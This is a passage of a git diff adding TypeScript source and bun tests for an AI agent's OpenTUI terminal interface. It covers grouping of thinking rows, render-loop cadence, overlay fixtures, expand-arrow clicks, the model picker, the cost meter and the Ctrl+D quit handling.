StreamRow[] { + return shell.streamLog.slice(mark) +} + +function thinking(): readonly StreamRow[] { + return rows().filter(isThinkingRow) +} + +const think = (token: string) => ({ + type: "inference.thinking.delta", + data: { token }, +}) + +const call = (name: string, callId: string) => ({ + type: "inference.tool_call.end", + data: { name, callId, arguments: "{}" }, +}) + +const done = (callId: string) => ({ + type: "tool.done", + data: { result: { callId, content: "ok", isError: false } }, +}) + +describe("a turn's reasoning", () => { + test("stays one row however many times the model thinks", () => { + prompt("go") + bridge.handle(think("first I need the repo")) + bridge.handle(call("run_shell", "c1")) + bridge.handle(done("c1")) + bridge.handle(think("now let me fetch the page")) + bridge.handle(call("web_fetch", "c2")) + bridge.handle(done("c2")) + bridge.handle(think("that is enough to answer")) + + expect(thinking()).toHaveLength(1) + expect(thinking()[0]?.text).toContain("first I need the repo") + expect(thinking()[0]?.text).toContain("that is enough to answer") + }) + + test("leads the turn, so tool rows run uninterrupted beneath it", () => { + prompt("go") + bridge.handle(think("planning")) + bridge.handle(call("run_shell", "c1")) + bridge.handle(done("c1")) + bridge.handle(think("more planning")) + bridge.handle(call("web_fetch", "c2")) + bridge.handle(done("c2")) + + const kinds = rows().map((row) => (isThinkingRow(row) ? "think" : row.role)) + expect(kinds).toEqual(["user", "think", "tool", "tool"]) + }) + + test("keeps every mid-turn fragment reachable on expand", () => { + prompt("go") + bridge.handle(think("opening thought")) + bridge.handle(call("run_shell", "c1")) + bridge.handle(done("c1")) + bridge.handle(think("buried mid-turn thought")) + bridge.handle({ type: "inference.text.delta", data: { token: "answer" } }) + + expect(toggleCollapsedRow(shell)).toBe(true) + const row = thinking()[0] + expect(row?.expanded).toBe(true) + expect(row?.text).toContain("buried mid-turn thought") + }) + + test("belongs to its own turn: the next prompt opens a new row", () => { + prompt("one") + bridge.handle(think("thinking about one")) + bridge.handle({ type: "inference.text.delta", data: { token: "a" } }) + bridge.handle({ type: "message.received", data: { message: { content: "two" } } }) + bridge.handle(think("thinking about two")) + + expect(thinking()).toHaveLength(2) + expect(thinking()[1]?.text).toBe("thinking about two") + }) + + test("costs the turn no extra gap whether it is there or not", () => { + const you: StreamRow = { role: "user", text: "go" } + const thought: StreamRow = { role: "system", text: "…", meta: "thinking" } + const agent: StreamRow = { role: "assistant", text: "done" } + expect(rowGroupGap(you, thought) + rowGroupGap(thought, agent)).toBe( + rowGroupGap(you, agent), + ) + }) +}) diff --git a/src/tui-opentui/render-loop.test.ts b/src/tui-opentui/render-loop.test.ts new file mode 100644 index 000000000..211208a5c --- /dev/null +++ b/src/tui-opentui/render-loop.test.ts @@ -0,0 +1,122 @@ +/** + * Render-loop guard rails. + * + * The monitor is the only clock the TUI animates off, so two properties have to + * hold: it must stop when nothing is moving, and a plain appended transcript row + * must not cost a rebuild of the rows already on screen. + */ + +import { describe, expect, test } from "bun:test" + +import { withTestRenderer } from "./harness" +import { RAMP_CYCLE_MS } from "./ramp" +import { attachSessionBridge, createRecordingPort } from "./runtime-bridge" +import { appendStreamRow, createAppShell } from "./shell" + +const SHELL_OPTS = { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", +} as const + +const WIDE = { width: 80, height: 24 } as const + +type ScheduleCall = { readonly intervalMs: number } + +/** Records every (re)scheduling of the monitor and lets the test drive it. */ +function recordingMonitor() { + let clock = 0 + let ticker: (() => void) | null = null + const schedules: ScheduleCall[] = [] + return { + monitor: { + now: () => clock, + schedule: (tick: () => void, intervalMs: number) => { + schedules.push({ intervalMs }) + ticker = tick + return () => { + ticker = null + } + }, + }, + schedules, + running: () => ticker !== null, + intervalMs: () => schedules.at(-1)?.intervalMs ?? null, + advance: (ms: number) => { + clock += ms + ticker?.() + }, + } +} + +describe("monitor cadence", () => { + test("stays quiet while the session is idle", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, SHELL_OPTS) + const m = recordingMonitor() + const bridge = attachSessionBridge(shell, createRecordingPort(), m.monitor) + try { + // Attaching to an idle session must not start a repaint loop. + expect(m.running()).toBe(false) + expect(m.schedules).toEqual([]) + + bridge.handle({ type: "run", state: "busy" }) + expect(m.running()).toBe(true) + + bridge.handle({ type: "reactor.done", data: {} }) + expect(shell.turnPhase).toBeNull() + expect(m.running()).toBe(false) + } finally { + bridge.dispose() + } + }, WIDE) + }) + + test("animates fast enough for the ramp to read as motion", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, SHELL_OPTS) + const m = recordingMonitor() + const bridge = attachSessionBridge(shell, createRecordingPort(), m.monitor) + try { + bridge.handle({ type: "run", state: "busy" }) + const tickMs = m.intervalMs() + expect(tickMs).not.toBeNull() + + // The comet crosses width + feather cells per cycle; a cadence that + // samples fewer times than that jumps cells instead of travelling. + expect(RAMP_CYCLE_MS / (tickMs ?? 1)).toBeGreaterThanOrEqual(14) + + const frames = new Set() + for (let elapsed = 0; elapsed < RAMP_CYCLE_MS; elapsed += tickMs ?? 1) { + m.advance(tickMs ?? 1) + if (shell.turnPhase !== null) frames.add(shell.turnPhase) + } + expect(frames.size).toBeGreaterThanOrEqual(10) + } finally { + bridge.dispose() + } + }, WIDE) + }) +}) + +describe("transcript append", () => { + test("a plain appended row keeps the rows already painted", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, SHELL_OPTS) + for (const text of ["one", "two", "three"]) { + appendStreamRow(shell, { role: "system", text }) + } + // Index 0 is the transcript's bottom-anchor spacer, not a row. + const before = shell.transcript.getChildren().slice(1) + expect(before).toHaveLength(3) + + appendStreamRow(shell, { role: "system", text: "four" }) + + const after = shell.transcript.getChildren().slice(1) + expect(after).toHaveLength(4) + // Same node objects: the append added one renderable rather than tearing + // the window down and rebuilding every row. + expect(after.slice(0, 3)).toEqual(before) + }, WIDE) + }) +}) diff --git a/src/tui-opentui/residuals.ts b/src/tui-opentui/residuals.ts new file mode 100644 index 000000000..0eccae38d --- /dev/null +++ b/src/tui-opentui/residuals.ts @@ -0,0 +1,124 @@ +/** + * Wave 7 residual surface fixtures + observe session types (pure). + * Shell openers inject host catalogs via OpenResidualListOpts; fixtures apply + * only when the host omits `items`. + * + * Hosts can also build rows with {@link residualListFromCatalog} and resolve + * accept callbacks via {@link residualIdFromSelection}. + */ + +import { SHELL_SHORTCUTS } from "./keybindings.js" +import type { StreamRow } from "./stream.js" + +/** Host-owned residual row: stable id + display label. */ +export type ResidualCatalogEntry = { + readonly id: string + readonly label: string +} + +export type ResidualListPayload = { + readonly items: readonly string[] + readonly itemIds: readonly string[] +} + +/** Map host catalog entries → openListOverlay items + itemIds. */ +export function residualListFromCatalog( + entries: readonly ResidualCatalogEntry[], +): ResidualListPayload { + return { + items: entries.map((e) => e.label), + itemIds: entries.map((e) => e.id), + } +} + +/** + * Resolve the stable id for an accepted residual selection. + * Prefers `selection.id`; falls back to itemIds[index] when provided. + */ +export function residualIdFromSelection( + selection: { readonly index: number; readonly id?: string }, + itemIds?: readonly string[], +): string | undefined { + if (selection.id !== undefined) return selection.id + if (itemIds === undefined) return undefined + return itemIds[selection.index] +} + +export function makeSettingsItems(): readonly string[] { + return [ + "Permissions — revoke remembered approvals", + "Compaction — summarize vs drop", + "Session mode — auto / ask / plan", + "Sub-agents — max concurrent", + "Tools — wait-for-approval budget", + "Telemetry — usage opt-in", + "Close settings", + ] +} + +/** Help overlay rows derived from the OpenTUI shell's own keybinding + * catalog, so they cannot drift from what the shell actually implements. */ +export function makeHelpItems(): readonly string[] { + return [ + ...SHELL_SHORTCUTS.map((s) => `${s.keys} — ${s.description}`), + "Close help", + ] +} + +export function makePluginsItems(): readonly string[] { + return [ + "plugin:linear — enabled", + "plugin:github — needs trust", + "plugin:exa — enabled", + "Add plugin from path…", + "Web override: none", + "Close plugins", + ] +} + +export function makeResumeItems(): readonly string[] { + return [ + "Fix permissions overflow · 2h ago · idle", + "Wave 6 palette work · yesterday · done", + "Spike OpenTUI sticky scroll · 3d · done", + "Untitled session · 1w · canceled", + "Close resume", + ] +} + +export function makeMentionItems(): readonly string[] { + return [ + "@src/tui-opentui/shell.ts", + "@src/tui-opentui/residuals.ts", + "@docs/plans/tui-layout-scroll-platform.md", + "@AGENTS.md", + "Close mentions", + ] +} + +export type ObserveSession = { + readonly sessionId: string + readonly agentId: string + readonly description: string + readonly lines: readonly StreamRow[] +} + +/** Fixture child session for tests/demo. */ +export function makeObserveFixture(): ObserveSession { + return { + sessionId: "child-1", + agentId: "explore", + description: "map callers of openListOverlay", + lines: [ + { role: "system", text: "— child session explore —" }, + { role: "user", text: "find every openListOverlay caller" }, + { role: "assistant", text: "Searching src/tui-opentui…" }, + { + role: "tool", + text: "grep openListOverlay → 6 hits", + meta: "tool.done", + }, + { role: "assistant", text: "Report ready for parent." }, + ], + } +} diff --git a/src/tui-opentui/row-click.test.ts b/src/tui-opentui/row-click.test.ts new file mode 100644 index 000000000..df91d931c --- /dev/null +++ b/src/tui-opentui/row-click.test.ts @@ -0,0 +1,77 @@ +/** + * The expand arrow is a hit target. + * + * It looks like an affordance, so it answers a click: one row, the row that + * owns the arrow. The row's own text does not — people click text to select + * and copy it, and a whole-row target would toggle under every drag. + */ +import { describe, expect, test } from "bun:test" + +import { withTestRenderer } from "./harness" +import { appendStreamRow, createAppShell } from "./shell" +import { ROW_ARROW, type StreamRow } from "./stream" + +const CALL: StreamRow = { + role: "tool", + text: "", + meta: "web_fetch", + verb: "Web Fetch", + summary: "https://www.apple.com", + detail: [[{ text: "url: https://www.apple.com", fg: "#f7ead5" }]], +} + +/** Screen position of the first cell of `needle`, or null when it is not painted. */ +function findCell( + frame: string, + needle: string, +): { readonly x: number; readonly y: number } | null { + const lines = frame.split("\n") + for (const [y, line] of lines.entries()) { + const x = line.indexOf(needle) + if (x !== -1) return { x, y } + } + return null +} + +describe("clicking a row's expand arrow", () => { + test("toggles that row, and clicking its text does not", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + try { + appendStreamRow(shell, CALL) + appendStreamRow(shell, { ...CALL, summary: "https://www.example.com" }) + await h.renderOnce() + + const arrow = findCell(h.captureCharFrame(), ROW_ARROW.collapsed) + expect(arrow).not.toBeNull() + + await h.mockMouse.click(arrow!.x, arrow!.y) + await h.renderOnce() + // One row only: the pointer said which. + expect(shell.streamLog[0]?.expanded).toBe(true) + expect(shell.streamLog[1]?.expanded).not.toBe(true) + + const open = findCell(h.captureCharFrame(), ROW_ARROW.expanded) + expect(open).not.toBeNull() + await h.mockMouse.click(open!.x, open!.y) + await h.renderOnce() + expect(shell.streamLog[0]?.expanded).toBe(false) + + const text = findCell(h.captureCharFrame(), "apple.com") + expect(text).not.toBeNull() + await h.mockMouse.click(text!.x, text!.y) + await h.renderOnce() + expect(shell.streamLog[0]?.expanded).toBe(false) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) diff --git a/src/tui-opentui/runner-host.test.ts b/src/tui-opentui/runner-host.test.ts new file mode 100644 index 000000000..a80c65387 --- /dev/null +++ b/src/tui-opentui/runner-host.test.ts @@ -0,0 +1,372 @@ +import { EventEmitter } from "node:events" +import { describe, expect, test } from "bun:test" + +import type { KeyEvent } from "@opentui/core" + +import type { CostSummary } from "../cost/cost-summary.js" +import type { SubAgentSession } from "../subagent/session-store.js" +import { createHarness } from "./harness.js" +import { closeInsetOverlay, runOverlayAction } from "./shell.js" +import { + mountRunnerHost, + observeSessionFromSubAgents, + rowFromTranscriptEntry, +} from "./runner-host.js" + +/** The bottom rule holds StyledText; join its chunks for assertions. */ +function ruleOf(rule: { content: unknown }): string { + const content = rule.content + if (typeof content === "string") return content + const { chunks } = content as { chunks?: readonly { text?: string }[] } + return (chunks ?? []).map((c) => c.text ?? "").join("") +} + +function fakeCostSummary(): CostSummary { + return { + modelId: "opus", + pricingCache: null, + totalCost: 0.42, + formattedCost: "$0.42", + inputTokens: 100, + outputTokens: 50, + cacheReadTokens: 0, + contextTokens: 1000, + costHiddenReason: null, + contextWindow: 10000, + contextPercentUsed: 10, + } +} + +function session(over: Partial): SubAgentSession { + return { + id: "s1", + description: "explore callers", + agentId: "explore", + brief: "", + status: "running", + toolNames: [], + currentToolName: null, + entries: [], + startedAt: 0, + ...over, + } +} + +describe("rowFromTranscriptEntry", () => { + test("maps each entry kind onto a stream row", () => { + expect(rowFromTranscriptEntry({ kind: "text", content: "hi" })).toEqual({ + role: "assistant", + text: "hi", + }) + expect(rowFromTranscriptEntry({ kind: "thinking", content: "hm" })).toEqual({ + role: "system", + text: "hm", + meta: "thinking", + }) + expect( + rowFromTranscriptEntry({ kind: "tool", callId: "c", name: "grep", arguments: "{}" }), + ).toEqual({ + role: "tool", + text: "{}", + meta: "grep", + verb: "Grep", + pending: true, + callKey: "grep Grep ", + }) + expect( + rowFromTranscriptEntry({ + kind: "tool_result", + callId: "c", + name: "grep", + content: "boom", + isError: true, + }), + ).toEqual({ role: "tool", text: "boom", meta: "grep", failed: true }) + expect(rowFromTranscriptEntry({ kind: "report", content: "done" })).toEqual({ + role: "assistant", + text: "done", + meta: "report", + }) + }) +}) + +describe("observeSessionFromSubAgents", () => { + test("returns null with no sessions", () => { + expect(observeSessionFromSubAgents([])).toBeNull() + }) + + test("prefers the newest running session", () => { + const observed = observeSessionFromSubAgents([ + session({ id: "old", status: "running" }), + session({ id: "newest", status: "running", agentId: "build" }), + session({ id: "finished", status: "done" }), + ]) + expect(observed?.sessionId).toBe("newest") + expect(observed?.agentId).toBe("build") + }) + + test("falls back to the most recent session when none run", () => { + const observed = observeSessionFromSubAgents([ + session({ id: "a", status: "done" }), + session({ + id: "b", + status: "failed", + entries: [{ kind: "text", content: "partial" }], + }), + ]) + expect(observed?.sessionId).toBe("b") + expect(observed?.lines).toEqual([{ role: "assistant", text: "partial" }]) + }) +}) + +describe("mountRunnerHost command surfaces", () => { + test("routes settings and models, and reports surfaces with no data source", async () => { + const harness = await createHarness({ width: 80, height: 24 }) + const host = await mountRunnerHost({ + title: "test", + eventEmitter: new EventEmitter(), + send: () => {}, + interrupt: () => {}, + providers: {}, + onModelSelect: () => {}, + commands: [], + onCommand: () => {}, + chrome: () => ({ goal: null, agents: [] }), + subAgentSessions: () => [], + createRenderer: async () => harness.renderer, + surfaces: { + settings: { + read: () => ({ + compactionMode: "llm", + sessionMode: "orchestrator", + sessionModeScope: "global", + maxConcurrentSubAgents: 3, + waitForApproval: true, + telemetryEnabled: false, + showPromptCost: false, + }), + setCompactionMode: () => {}, + setSessionMode: () => {}, + setMaxConcurrentSubAgents: () => {}, + setWaitForApproval: () => {}, + setTelemetryEnabled: () => {}, + setShowPromptCost: () => {}, + }, + }, + }) + try { + expect(host.openSurface("settings")).toBe(true) + expect(host.shell.overlayKind).toBe("settings") + closeInsetOverlay(host.shell) + // onModelSelect is wired even with an empty catalog, since the "not + // connected" section can populate the picker on its own. + expect(host.openSurface("models")).toBe(true) + } finally { + host.dispose() + harness.destroy() + } + }) +}) + +describe("mountRunnerHost model picker", () => { + test("lists a connect row for each unconnected provider, described in the connect copy", async () => { + const harness = await createHarness({ width: 80, height: 24 }) + const host = await mountRunnerHost({ + title: "test", + eventEmitter: new EventEmitter(), + send: () => {}, + interrupt: () => {}, + providers: { xai: { models: ["grok-4"] } }, + onModelSelect: () => {}, + unconnectedProviders: [ + { name: "openai", label: "OpenAI", modelCount: 4, authKind: "key" }, + ], + commands: [], + onCommand: () => {}, + chrome: () => ({ goal: null, agents: [] }), + subAgentSessions: () => [], + createRenderer: async () => harness.renderer, + }) + try { + expect(host.openSurface("models")).toBe(true) + expect(host.shell.overlayItems).toContain("OpenAI — connect →") + expect(host.shell.overlayItems.some((i) => i.includes("Go model on Zen path"))).toBe( + false, + ) + } finally { + host.dispose() + harness.destroy() + } + }) + + test("refreshModels moves a selected pair into the Recent section", async () => { + const harness = await createHarness({ width: 80, height: 24 }) + const host = await mountRunnerHost({ + title: "test", + eventEmitter: new EventEmitter(), + send: () => {}, + interrupt: () => {}, + providers: { xai: { models: ["grok-4", "grok-3"] } }, + onModelSelect: () => {}, + commands: [], + onCommand: () => {}, + chrome: () => ({ goal: null, agents: [] }), + subAgentSessions: () => [], + createRenderer: async () => harness.renderer, + }) + try { + host.refreshModels([{ provider: "xai", model: "grok-4" }], []) + closeInsetOverlay(host.shell) + expect(host.openSurface("models")).toBe(true) + expect(host.shell.overlayItems[0]).toBe("xai / grok-4") + } finally { + host.dispose() + harness.destroy() + } + }) + + test("f toggles favorite on the focused row via onFavoriteToggle", async () => { + const harness = await createHarness({ width: 80, height: 24 }) + const toggled: string[] = [] + const host = await mountRunnerHost({ + title: "test", + eventEmitter: new EventEmitter(), + send: () => {}, + interrupt: () => {}, + providers: { xai: { models: ["grok-4"] } }, + onModelSelect: () => {}, + onFavoriteToggle: (id) => toggled.push(id), + commands: [], + onCommand: () => {}, + chrome: () => ({ goal: null, agents: [] }), + subAgentSessions: () => [], + createRenderer: async () => harness.renderer, + }) + try { + expect(host.openSurface("models")).toBe(true) + const fKey = { name: "f", ctrl: false, meta: false, option: true } as KeyEvent + expect(runOverlayAction(host.shell, fKey)).toBe(true) + expect(toggled).toEqual(["xai:grok-4"]) + } finally { + host.dispose() + harness.destroy() + } + }) +}) + +describe("bottom border cost run", () => { + test("omits the cost run when showPromptCost is unset (default off)", async () => { + const harness = await createHarness({ width: 80, height: 24 }) + const host = await mountRunnerHost({ + title: "test", + eventEmitter: new EventEmitter(), + send: () => {}, + interrupt: () => {}, + providers: {}, + onModelSelect: () => {}, + commands: [], + onCommand: () => {}, + chrome: () => ({ goal: null, agents: [] }), + subAgentSessions: () => [], + createRenderer: async () => harness.renderer, + readCostSummary: () => fakeCostSummary(), + }) + try { + const bottom = ruleOf(host.shell.promptBottomRule) + expect(bottom).toContain("10%") + expect(bottom).not.toContain("$0.42") + } finally { + host.dispose() + harness.destroy() + } + }) + + test("shows the cost run when showPromptCost reads true, and refreshCostContext repaints it live", async () => { + const harness = await createHarness({ width: 80, height: 24 }) + let showCost = false + const host = await mountRunnerHost({ + title: "test", + eventEmitter: new EventEmitter(), + send: () => {}, + interrupt: () => {}, + providers: {}, + onModelSelect: () => {}, + commands: [], + onCommand: () => {}, + chrome: () => ({ goal: null, agents: [] }), + subAgentSessions: () => [], + createRenderer: async () => harness.renderer, + readCostSummary: () => fakeCostSummary(), + showPromptCost: () => showCost, + }) + try { + expect(ruleOf(host.shell.promptBottomRule)).not.toContain("$0.42") + + showCost = true + host.refreshCostContext() + expect(ruleOf(host.shell.promptBottomRule)).toContain("$0.42") + expect(ruleOf(host.shell.promptBottomRule)).toContain("10%") + } finally { + host.dispose() + harness.destroy() + } + }) +}) + +/** Resolves true when the host exited, false when it is still alive. */ +async function exited(host: { waitUntilExit: () => Promise }): Promise { + return await Promise.race([ + host.waitUntilExit().then(() => true), + new Promise((resolve) => setTimeout(() => resolve(false), 25)), + ]) +} + +describe("mountRunnerHost quit key", () => { + const baseDeps = (harness: Awaited>) => ({ + title: "test", + eventEmitter: new EventEmitter(), + send: () => {}, + interrupt: () => {}, + providers: {}, + onModelSelect: () => {}, + commands: [], + onCommand: () => {}, + chrome: () => ({ goal: null, agents: [] }), + subAgentSessions: () => [], + createRenderer: async () => harness.renderer, + }) + + test("Ctrl+D mid-edit keeps the draft and the app alive", async () => { + const harness = await createHarness({ width: 80, height: 24 }) + const host = await mountRunnerHost(baseDeps(harness)) + try { + for (const ch of "foo bar") harness.pressKey(ch) + await harness.renderOnce() + harness.pressKey("ARROW_LEFT") + harness.pressKey("d", { ctrl: true }) + await harness.renderOnce() + + // Ctrl+D falls through to the textarea's delete-under-cursor. + expect(host.shell.prompt.value).toBe("foo ba") + expect(await exited(host)).toBe(false) + } finally { + host.dispose() + harness.destroy() + } + }) + + test("Ctrl+D at an empty prompt quits", async () => { + const harness = await createHarness({ width: 80, height: 24 }) + const host = await mountRunnerHost(baseDeps(harness)) + try { + expect(host.shell.prompt.value).toBe("") + harness.pressKey("d", { ctrl: true }) + await harness.renderOnce() + + expect(await exited(host)).toBe(true) + } finally { + host.dispose() + harness.destroy() + } + }) +}) diff --git a/src/tui-opentui/runner-host.ts b/src/tui-opentui/runner-host.ts new file mode 100644 index 000000000..f5421eae4 --- /dev/null +++ b/src/tui-opentui/runner-host.ts @@ -0,0 +1,330 @@ +/** + * Runner-facing mount for the OpenTUI product host. + * + * Owns everything renderer-specific about the interactive path so the session + * runner keeps only agent/session wiring: catalog assembly from live config, + * chrome pushes on session change, subagent observe resolution, and the quit + * key that resolves `waitUntilExit`. + */ + +import type { EventEmitter } from "node:events" +import type { CliRenderer, KeyEvent } from "@opentui/core" + +import type { SubAgentSession, SubAgentTranscriptEntry } from "../subagent/session-store.js" +import { buildCommandCatalog, type RegistryCommandSource } from "./command-catalog.js" +import { + openCommandSurface, + type CommandSurfaceDeps, + type CommandSurfaceKind, +} from "./command-surfaces.js" +import { chromeFromSession, type ChromeSessionInput } from "./chrome-state.js" +import { focusOwner } from "./focus/index.js" +import { + buildModelsFirstCatalog, + describeModelCatalogOption, + type ModelCatalogOption, + type ModelCatalogProvidersInput, + type ModelCatalogRef, + type ModelCatalogUnconnectedProvider, +} from "./model-catalog.js" +import type { ItemDescription } from "./shell.js" +import { mountProductHost, type ProductHost } from "./product-host.js" +import { + appendStreamRow, + clearShellExitHandler, + setPromptCostContext, + setPromptModelLabel, + setPromptWorkspace, + setShellExitHandler, +} from "./shell.js" +import type { CostSummary } from "../cost/cost-summary.js" +import { watchGitBranch, type FetchBranch } from "./workspace-watch.js" +import type { PromptActionBarModelLabelInput } from "../tui/components/prompt-action-bar-label.js" +import type { ObserveSession } from "./residuals.js" +import type { PendingImageAttachment } from "../tui/image-attachments.js" +import { toolCallRow } from "./diff.js" +import { toolResultRow } from "./mcp-view.js" +import { pushToolCall, pushToolResult } from "./tool-rows.js" +import type { StreamRow } from "./stream.js" +import type { QueueKind } from "./session-queue.js" + +export type RunnerHostDeps = { + readonly title: string + readonly eventEmitter: EventEmitter + readonly send: ( + text: string, + attachments?: readonly PendingImageAttachment[], + ) => void + readonly interrupt: () => void + readonly deliver?: ( + text: string, + kind: QueueKind, + attachments?: readonly PendingImageAttachment[], + ) => void + readonly providers: ModelCatalogProvidersInput + /** Recently used provider+model pairs, most recent first (settings.recentModels). */ + readonly recentModels?: readonly ModelCatalogRef[] + /** Favorited provider+model pairs (settings.favoriteModels). */ + readonly favoriteModels?: readonly ModelCatalogRef[] + /** Known providers with no stored credentials yet — rendered as "connect →" rows. */ + readonly unconnectedProviders?: readonly ModelCatalogUnconnectedProvider[] + readonly onModelSelect: (id: string) => void + /** Selecting a "connect →" row; runner owns the actual connect flow. */ + readonly onConnectProvider?: (providerName: string) => void + /** `f` on a focused model row; runner owns the favorite persist + refresh. */ + readonly onFavoriteToggle?: (id: string) => void + /** Working directory carried by the prompt box's bottom border. */ + readonly cwd?: string + /** Branch lookup override for tests; defaults to a real `git rev-parse`. */ + readonly fetchBranch?: FetchBranch + /** + * Live `profile · model · effort` source for the top border label. Read on + * mount and again after every model selection, so the label follows the + * same config the picker mutates. + */ + readonly modelLabel?: () => PromptActionBarModelLabelInput + /** + * Live cost/context source for the bottom border's meter. Read on mount and + * again after every completed inference turn, so the meter tracks usage + * without a timer of its own. + */ + readonly readCostSummary?: () => CostSummary | undefined + /** + * Live read of the show-cost setting. Consulted on every cost push so the + * cost run is omitted at the source when off, rather than composed and + * then hidden. Defaults to false (off) when omitted. + */ + readonly showPromptCost?: () => boolean + readonly commands: readonly RegistryCommandSource[] + readonly onCommand: (name: string) => void + /** Live chrome snapshot source, read on mount and on every notify. */ + readonly chrome: () => ChromeSessionInput + /** Registers a chrome-change notifier; returns an unsubscribe. */ + readonly subscribeChrome?: (notify: () => void) => () => void + /** Live subagent sessions for the palette observe action. */ + readonly subAgentSessions: () => readonly SubAgentSession[] + /** + * Live data behind the command surfaces (settings, permissions, plugins). + * `notify` is supplied by the host itself. + */ + readonly surfaces?: Omit + /** Renderer factory override for headless mounting in tests. */ + readonly createRenderer?: () => Promise + /** First-run telemetry disclosure, shown on the landing screen. */ + readonly telemetryNotice?: string +} + +/** Product host plus the runner-owned subscriptions torn down with it. */ +export type RunnerHost = ProductHost & { + /** + * Open a command surface. Returns false when the requested surface has no + * OpenTUI implementation, so the caller can report the gap. + */ + readonly openSurface: (kind: CommandSurfaceKind) => boolean + /** + * Recompute the models-first catalog from fresh recent/favorite refs and + * push it into the already-open host — the picker's Recent/Favorites + * sections would otherwise never reflect a same-session selection. + */ + readonly refreshModels: ( + recentModels: readonly ModelCatalogRef[], + favoriteModels: readonly ModelCatalogRef[], + ) => void + /** Re-reads `showPromptCost` and cost/context state, repainting the border immediately. */ + readonly refreshCostContext: () => void +} + +/** Map a subagent transcript entry to a stream row. */ +export function rowFromTranscriptEntry(entry: SubAgentTranscriptEntry): StreamRow { + switch (entry.kind) { + case "text": + return { role: "assistant", text: entry.content } + case "thinking": + return { role: "system", text: entry.content, meta: "thinking" } + case "tool": + return toolCallRow({ name: entry.name, arguments: entry.arguments }) + case "tool_result": + return toolResultRow({ + name: entry.name, + content: entry.content, + isError: entry.isError, + }) + case "report": + return { role: "assistant", text: entry.content, meta: "report" } + } +} + +/** + * A subagent transcript as rows. Tool entries are folded, not mapped one to + * one: a call and its result share a row, and a repeated call collapses onto + * the row it repeats. + */ +export function rowsFromTranscript( + entries: readonly SubAgentTranscriptEntry[], +): StreamRow[] { + const rows: StreamRow[] = [] + for (const entry of entries) { + if (entry.kind === "tool") { + pushToolCall(rows, { name: entry.name, arguments: entry.arguments }) + continue + } + if (entry.kind === "tool_result") { + pushToolResult(rows, { + name: entry.name, + content: entry.content, + isError: entry.isError, + }) + continue + } + rows.push(rowFromTranscriptEntry(entry)) + } + return rows +} + +/** + * Pick the session the operator most likely wants to watch: the newest running + * one, else the most recent session of any status. No sessions → null. + */ +export function observeSessionFromSubAgents( + sessions: readonly SubAgentSession[], +): ObserveSession | null { + const running = [...sessions].reverse().find((s) => s.status === "running") + const picked = running ?? sessions[sessions.length - 1] + if (picked === undefined) return null + return { + sessionId: picked.id, + agentId: picked.agentId, + description: picked.description, + lines: rowsFromTranscript(picked.entries), + } +} + +/** Mount the OpenTUI host for a live session. */ +export async function mountRunnerHost(deps: RunnerHostDeps): Promise { + let catalog: readonly ModelCatalogOption[] = buildModelsFirstCatalog({ + providers: deps.providers, + recent: deps.recentModels ?? [], + favorites: deps.favoriteModels ?? [], + unconnected: deps.unconnectedProviders ?? [], + }) + const describeModel = (itemId: string): ItemDescription | null => + describeModelCatalogOption( + catalog.find((o) => o.id === itemId) ?? { id: itemId, label: itemId }, + { unconnected: deps.unconnectedProviders ?? [] }, + ) + const readModelLabel = deps.modelLabel + const onModelSelect = (id: string): void => { + deps.onModelSelect(id) + if (readModelLabel) setPromptModelLabel(host.shell, readModelLabel()) + } + const cwd = deps.cwd ?? process.cwd() + const host = await mountProductHost({ + title: deps.title, + cwd, + eventEmitter: deps.eventEmitter, + send: deps.send, + interrupt: deps.interrupt, + ...(deps.deliver !== undefined ? { deliver: deps.deliver } : {}), + ...(deps.onConnectProvider !== undefined + ? { onConnectProvider: deps.onConnectProvider } + : {}), + ...(deps.onFavoriteToggle !== undefined + ? { onFavoriteToggle: deps.onFavoriteToggle } + : {}), + models: catalog, + onModelSelect, + describeModel, + commands: buildCommandCatalog(deps.commands), + onCommand: deps.onCommand, + chrome: chromeFromSession(deps.chrome()), + onObserveRequest: () => observeSessionFromSubAgents(deps.subAgentSessions()), + ...(deps.createRenderer !== undefined ? { createRenderer: deps.createRenderer } : {}), + ...(deps.telemetryNotice !== undefined + ? { telemetryNotice: deps.telemetryNotice } + : {}), + }) + + const pushChrome = (): void => { + host.setChrome(chromeFromSession(deps.chrome())) + } + const unsubscribeChrome = deps.subscribeChrome?.(pushChrome) + + if (readModelLabel) setPromptModelLabel(host.shell, readModelLabel()) + + const pushCostContext = (): void => { + const summary = deps.readCostSummary?.() + if (summary === undefined) return + const showCost = deps.showPromptCost?.() ?? false + setPromptCostContext(host.shell, { + contextPercentUsed: summary.contextPercentUsed, + costLabel: showCost && summary.costHiddenReason === null ? summary.formattedCost : null, + }) + } + pushCostContext() + // Every completed inference turn changes both cost and context usage; + // nothing else needs a fresher read than that. + const onCostEvent = (event: { type: string }): void => { + if (event.type === "inference.done") pushCostContext() + } + deps.eventEmitter.on("event", onCostEvent) + + const stopBranchWatch = watchGitBranch({ + cwd, + onBranch: (branch) => setPromptWorkspace(host.shell, { branch }), + ...(deps.fetchBranch !== undefined ? { fetchBranch: deps.fetchBranch } : {}), + }) + + // The shell's Ctrl+C is the interrupt key, so quitting needs its own binding. + // Shell convention: Ctrl+D quits only at an empty, focused prompt. With text + // in the buffer it stays the textarea's delete-character-under-cursor, so a + // mid-edit Ctrl+D can never drop the draft. + const onKey = (key: KeyEvent): void => { + if (!key.ctrl || key.name !== "d") return + if (focusOwner(host.shell.focus) !== "prompt") return + if (host.shell.prompt.value !== "") return + key.preventDefault() + dispose() + } + host.renderer.keyInput.on("keypress", onKey) + + const dispose = (): void => { + stopBranchWatch() + deps.eventEmitter.off("event", onCostEvent) + unsubscribeChrome?.() + host.renderer.keyInput.off("keypress", onKey) + clearShellExitHandler(host.shell) + host.dispose() + } + + // A bare `exit` / `quit` at the prompt routes through the same teardown as + // the Ctrl+D quit key, so finalize still runs. + setShellExitHandler(host.shell, dispose) + + const surfaceDeps: CommandSurfaceDeps = { + ...(deps.surfaces ?? {}), + ...(host.openModels !== undefined ? { openModels: host.openModels } : {}), + notify: (text) => + appendStreamRow(host.shell, { role: "system", text, meta: "command" }), + } + + const refreshModels = ( + recentModels: 